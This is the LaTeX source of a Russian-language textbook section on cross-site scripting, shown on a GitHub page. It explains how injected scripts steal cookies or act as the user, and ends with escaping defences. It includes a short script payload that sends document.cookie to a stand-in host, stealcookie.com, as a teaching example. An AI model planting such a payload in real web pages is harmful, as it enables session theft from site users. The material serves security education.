forked from vlsergey/infosec
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxss.tex
45 lines (30 loc) · 7.39 KB
/
xss.tex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
\section[XSS-атака с исполнением кода браузером]{Межсайтовый скриптинг с \protect\\ исполнением JavaScript кода \protect\\ браузером}
\selectlanguage{russian}
Другой вид распространенных программных уязвимостей состоит в некорректной обработке данных, введенных пользователем. Типичные примеры -- отсутствующее или неправильное экранирование специальных символов и полей (например, спецсимволы \texttt{<} и \texttt{>} HTML, кавычки, слэши \texttt{/}, \texttt{\textbackslash}) и отсутствующая или неправильная проверка введенных данных на допустимые значения (например, SQL-запрос к базе данных веб-ресурса вместо логина пользователя).
Межсайтовый скриптинг (cross-site scripting, XSS)\index{XSS-атака} заключается во внедрении в веб-страницу исполняемого текстового скрипта злоумышленником $A$, который будет исполнен браузером клиента $B$. Скрипт может быть на языках JavaScript, VBScript, ActiveX, HTML, Flash. Целью атаки является, как правило, доступ к информации клиента.
Скрипт может получить доступ к cookie-файлам данного сайта, например, с аутентификатором, вставить гиперссылки на свой сайт под видом доверенных ссылок. Вставленные гиперссылки могут содержать информацию пользователя.
Скрипт также может выполнить последовательность HTTP GET- и POST-запросов на веб-сайт для выполнения действий от имени пользователя. Например, вирусно распространить вредоносный JavaScript код со страницы одного пользователя на страницы всех друзей, друзей друзей и т.д. и затем удалить все данные пользователя. Атака может привести к уничтожению социальной сети.
Приведем пример кражи cookie-файла веб-сайта, который имеет уязвимость на вставку текста, содержащего код, который будет исполнен браузером.
%Когда браузер первый раз обращается к сайту, вебприложение может выслать вместе с HTML страницей cookie-файл, хранящий текстовую строку последовательностей
Например, пусть аутентификатор пользователя в cookie-файле сайта \texttt{myemail.com} содержит
\begin{center} \begin{verbatim}
auth=AJHVML43LDSL42SC6DF;
\end{verbatim} \end{center}
Пусть текстовое сообщение, помещенное пользователем, содержит текстовый скрипт, помещающий на странице <<изображение>>, расположенное по некоему адресу.
\begin{verbatim}
<script>
new Image().src = "http://stealcookie.com?c=" +
encodeURI(document.cookie);
</script>
\end{verbatim}
Тогда браузер всех пользователей, которым показывается сообщение, при загрузке страницы отправит HTTP GET-запрос на получение файла <<изображения>> по адресу
\begin{center} \begin{verbatim}
http://stealcookie.com?auth=AJHVML43LDSL42SC6DF;
\end{verbatim} \end{center}
В результате злоумышленник получит cookie, используя который он может заходить на веб-сайт под видом пользователя.
Вставка гиперссылок является наиболее частой XSS-атакой. Иногда ссылки кодируются шестнадцатеричными числами вида \texttt{\%NN}, чтобы не вызывать сомнения у пользователя текстом ссылки.
%Браузер самостоятельно не может отослать данные на другой сайт, отличный от текущего, поэтому передаваемая информация содержится в гиперссылках.
%(например, JavaScript код), либо программным обеспечением, генерирующим вебстраницу для выдачи клиенту $B$ (например, PHP код). Цель XSS атаки -- либо выполнение JavaScript кода браузером клиента, либо выполнение скриптового кода на вебсервере при запросе клиента к нему.
%Простой пример -- вебфорум. Пользователи вводят в формы текстовые сообщения, которые запоминаются в БД и показываются другим пользователям. Страница форума генерируется каждый раз заново при запросе пользователей информационной системой. Генерирование часто происходит из шаблона страницы, который содержит и базовый статический HTML код вебстраницы, и исполняемый код скрипта для вставки динамического содержания на основе запроса к базе данных. Как правило, злоумышленник пользуется во время генерирования страницы некорректным экранированием текста, введенного им в формах ввода текста вебстраницы, кавычек, слэшей. То есть, текстовые значения полей, которые сохраняются в базе данных веб-сайта и отображаются другим пользователям содержат исполняемый код злоумышленника.
На 2009 г. 80\% обнаруженных уязвимостей веб-сайтов являются XSS-уязвимостями.
Стандартный способ защиты от XSS-атак заключается в фильтрации, замене, экранировании символов и слов введенного текста пользователем: \texttt{<}, \texttt{>}, \texttt{/}, \texttt{\textbackslash}, \texttt{"}, \texttt{'}, \texttt{(}, \texttt{)}, \texttt{script}, \texttt{javascript} и др., а также обработка кодировок символов.